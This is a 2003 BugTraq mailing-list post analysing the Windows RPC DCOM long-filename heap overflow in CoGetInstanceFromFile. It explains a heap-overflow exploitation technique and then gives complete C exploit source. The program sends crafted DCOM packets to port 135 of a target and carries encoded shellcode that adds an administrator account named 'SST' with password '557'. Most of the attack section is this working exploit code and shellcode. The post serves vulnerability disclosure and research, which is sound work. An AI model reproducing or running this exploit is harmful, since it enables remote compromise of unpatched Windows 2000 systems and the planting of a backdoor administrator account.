BugTraq
The Analysis of RPC Long Filename Heap Overflow AND a Way to Write Universal Heap Overflow of Windows Sep 20 2003 02:08PM
flashsky fangxing (flashsky xfocus org)


The Analysis of RPC Long Filename Heap Overflow AND a Way to Write Universal Heap Overflow of Windows

Author:FLASHSKY

SITE:WWW.XFOCUS.NET,WWW.VENUSTECH.COM.CN WWW.SHOPSKY.COM

email:flashsky (at) xfocus (dot) org [email concealed]

Venus Active Defence Research Center

Thanks:

eyas(eyas (at) xfocus (dot) org [email concealed]),benjurry (at) xfocus (dot) org [email concealed]

Colleagues of Venus,and all menbers of xfocus

Translator:benjurry(benjurry (at) xfocus (dot) org [email concealed])

1,Analysis

The RPC DCOM long file name heap overflow is similar to LSD's stack overflow,they all exist in CoGetInstanceFromFile API ,which was discoveried by Yuange@NSfocus on ,And MS has Fixed the vulnerability on the 10th,SEP.Now let's discuss the detail.

In the article of "The Analysis of LSD's Buffer Overrun in Windows RPC Interface",We had discussed the CoGetInstanceFromFile API,which can use UNC format ,and RPC DCOM program chekcks the servername of UNC,if the servername is NetBios name or IP of localhost(include "localhost" and "127.0.0.1"),then RPC DCOM will process the filename in UNC.

Here is the code:

.text:76151469 push 20Ah

.text:7615146E push edi

.text:7615146F push hHeap

.text:76151475 call AllocHeap <------------------Only allocate heap of 0X20A

.text:7615147B mov edi, eax

.text:7615147D test edi, edi

.text:7615147F jnz short loc_76151491

.text:76151481 push [ebp+hMem] ; hMem

.text:76151484 call ds:LocalFree

.text:7615148A

.text:7615148A loc_7615148A: ; CODE XREF: sub_761513C5+4Bj

.text:7615148A mov eax, 8007000Eh

.text:7615148F jmp short loc_761514B9

.text:76151491 ; 哪哪哪哪哪哪哪哪哪
哪哪哪哪哪哪哪哪哪
哪哪哪哪哪哪哪哪哪
哪哪哪哪哪哪哪哪哪
哪?

.text:76151491

.text:76151491 loc_76151491: ; CODE XREF: sub_761513C5+BAj

.text:76151491 mov eax, [ebp+hMem]

.text:76151494 push dword ptr [eax+18h] ; lpString2

.text:76151497 push edi ; lpString1

.text:76151498 call ds:lstrcpyW

.text:7615149E push esi ; lpString2

.text:7615149F push edi ; lpString1

.text:761514A0 mov [esi], bx

.text:761514A3 call ds:lstrcatW <------------------Here,exist the Heap Overflow for MS hadn't check the length of filename,

2,A Way to Write Universal Heap Overflow of Windows

By overlaying the Heap manager struct,we can modify the SEH or the return address of function while releasing the heap.But Heap Overflow was recognized as difficult to exploit for locating shellcode. Because the Address of heap is not fixed ,there is no register or known address poiting the Shellcode,and we can't get the shellcode by OPCODE such as JMP ESP.

Is there no way to exploit?NO!

As we know, with normal heap manager struct, Heap operation is list as following:

Content:ADDR1 ADDR2

Operation:MOV [ADDR2],ADDR1

MOV [ADDR1+4],ADDR2

After operating ,the ADDR2 is modified to adress of SEH,ADDR1 is address of shellcode.And we can get the right when we handle the SEH.But how to locate the shellcode?

By researching,we find that if we construct given heap manager structure ,it will do as following:

Assume ADDR3 is the up heap link of ADDR1

Content:ADDR1 ADDR2

Operation:MOV [ADDR2],ADDR3

MOV [ADDR3],ADDR1

MOV [ADDR3+4],ADDR2

Because ADD3 is located by system,we can execute the content of ADDR3 handling SEH.Althougn we can't control the content of ADDR3 ,we can control the fist 8 bytes of ADDR3 by MOV [ADDR3],ADDR1.That is enough ,we can achieve JMP and jump to our shellcode .General ,the size between ADDR3 and ADDR1 is fixed in a given heap overflow, and we can extend this area by lots of NOP. If we can construct Heap manager structure like this ,then we can exploit Heap Overflow. At least we exploit the RPC long filename Heap Overflow.

The mechanism of exploit Universal Heap overflow can get from 《Utilization of released heap structure and exploit of universal Heap overflow in windows 》.

Annotations:H D Moore utilizes this way in his EXP of HDM,but he hadn't handled the problem of heap manager structure confusion,and it is still not working 100%

.

3.The exploit of RPC long filename heap overflow

There is long time after I have solved how to locate the shellcode ,but there is another trouble that it is abnormal when we use API in shellcode because the heap manager structure was destroyed . At last I find the way is to cover the default heap of PEB with another heap:

mov eax,fs:[0x00000018] <---------the address of PEB

mov eax,[eax+0x30]

lea eax,[eax+0x18] <---------get the address of default process heap base

mov ebx,0x170000

mov [eax],ebx <-----------modify to 0X170000

Attention,0X170000 is only good for windows 2K(Chinese version)+SP4+MS03-26. It is better if we create a new heap by HEAPCREATE in the shellcode ,then cover the default heap of PEB with this address.

#########################################################

This part comes from eyas's research,(eyas (at) xfocus (dot) org [email concealed])

Because Winsocket uses GHEAP,which was assigned as process default address at the initialization of dll ,the heap will be abnormal when call function of Winsock. Our advice is that shellcode doesn't include Winsock or shellcode seaches and modifies the GHEAP ,then calls Winsock.(For the address of GHEAP may be not fixed in many version,it will lost compatibility.

#########################################################

Another way to use API(include WINSOCKET API) is recover heap,because the structure of released chain is destroyed but not other structure ,So we can analyse chain,and recovered it,and then we can call API optionally.

You can read more form my artic 《Utilization of released heap structure and exploit of universal Heap overflow in windows 》.

Here we list the sample code to exploit the heap overflow:

#########################################################

To avoid be utilized by scripts kids and worm directly,the code we list is not Universal,and

we explain the technology in the code

#########################################################

Affected system :

W2K+SP3+MS03-26

W2K+SP4+MS03-26

ADDR1:\xeb\x1e\x08\x00

It is code of JMP 1E

ADDR3:Here ADDR3 is the address of UNC heap.

This code can exploit W2K SERVER+SP3/SP4+MS03-26,but in the condition of Login stutas in SP3,it doesn't work well for the net heap of foregoing released heap is not the structure our need to cover.

In SP4,it works very well.In the condition of LOGOUT status in SP3 ,We nedd run it time after time.

We shall be give a example for How to send packets and control Heap state,that we can make released heap and exploit Universal this hole.

We must modify the value of SEH according diffrent version.

The SHELLCODE add a user in administraor group ,username is SST,password is 557

/*

RPCDCOM2.c ver1.1

copy by FLASHSKY <flashsky (at) xfocus (dot) org [email concealed]> 2003.9.14

*/

#include <stdio.h>

#include <winsock2.h>

#include <windows.h>

#include <process.h>

#include <string.h>

#include <winbase.h>

unsigned char bindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x
00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x
01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x
00,0x46,0x00,0x00,0x00,0x00,

0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03

,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0
x05,0x00

,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0
xCC,0x45

,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0
x01,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0
x7C,0x5E

,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0
x2A,0x4D

,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0
x4D,0x41

,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0
x00,0x00

,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0
x4D,0x45

,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0
xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0
xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0
x28,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0
xC8,0x00

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0
x64,0x29

,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0
x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0
x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0
x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0
x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0
x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0
x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0
x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0
x60,0x00

,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0
x20,0x00

,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0
x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0
xFF,0xFF

,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0
x06,0x09

,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0
x10,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0
x01,0x00

,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0
xB2,0x00

,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0
x80,0x00

,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0
x60,0x00

,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0
xC0,0x01

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0
x3B,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0
x00,0x00

,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0
x80,0x0E

,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0
x30,0x00

,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0
x46,0x00

,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0
x10,0x00

,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0
x68,0x00

,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0
x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={

0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,

0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00

,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0
x31,0x00

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0
x31,0x00

,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char sccnsp3sp4[]=

"\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"

"\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"

"\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"

"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"

"\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"

"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"

//SHELLCODE From SAM ,THANKs !

//Add user SST,password is 557,

"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"

"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"

"\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"

"\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"

"\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"

"\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"

"\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"

"\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"

"\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"

"\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"

"\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"

"\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"

"\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"

"\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"

"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"

"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"

"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"

"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"

"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"

"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"

"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"

"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"

"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"

"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"

"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"

"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"

"\x7f\x19\x95\xd5\x17\x53\xe6\x6a"

"\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"

"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x77\xe0\x43\x00\x00\x10\x5c\x00"

"\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26

"\x4C\x14\xec\x7C"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os

//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic 《Utilization of released heap structure and exploit of universal Heap overflow in windows 》.

"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"

"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"

"\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"

"\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"

"\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"

"\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"

"\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"

"\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"

"\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"

"\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"

"\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"

"\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"

"\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"

"\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"

"\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"

"\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"

"\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"

"\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"

"\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"

"\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"

"\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"

"\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"

"\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"

"\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"

"\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"

"\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"

"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"

"\x04\x04\x00\x70\x00\x04\x40"

"\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"

"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";

unsigned char request4[]={

0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0
x00,0x00

,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0
x28,0x8C

,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00

};

void main(int argc,char ** argv)

{

WSADATA WSAData;

SOCKET sock;

int len,len1;

SOCKADDR_IN addr_in;

short port=135;

unsigned char buf1[0x1000];

unsigned char buf2[0x1000];

printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");

printf("Code by FlashSky,Flashsky xfocus org\n");

printf("Welcome to our Site: http://www.xfocus.org\n");

printf("Welcome to our Site: http://www.venustech.com.cn\n");

if(argc!=3)

{

printf("%s targetIP \n",argv[0]);

printf("for cn w2k server sp3/sp4+ms03-26\n");

}

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

{

printf("WSAStartup error.Error:%d\n",WSAGetLastError());

return;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(port);

addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

printf("Socket failed.Error:%d\n",WSAGetLastError());

return;

}

len1=sizeof(request1);

len=sizeof(sccnsp3sp4);

if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)

{

printf("Connect failed.Error:%d",WSAGetLastError());

return;

}

memcpy(buf2,request1,sizeof(request1));

*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2;

*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;

memcpy(buf2+len1,request2,sizeof(request2));

len1=len1+sizeof(request2);

memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4));

len1=len1+sizeof(sccnsp3sp4);

memcpy(buf2+len1,request3,sizeof(request3));

len1=len1+sizeof(request3);

memcpy(buf2+len1,request4,sizeof(request4));

len1=len1+sizeof(request4);

*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;

*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;

*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;

*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;

*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;

*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;

*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;

*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;

if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)

{

printf("Send failed.Error:%d\n",WSAGetLastError());

return;

}

len=recv(sock,buf1,1000,NULL);

if (send(sock,buf2,len1,0)==SOCKET_ERROR)

{

printf("Send failed.Error:%d\n",WSAGetLastError());

return;

}

// len=recv(sock,buf1,1024,NULL);

}

/*

*/

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus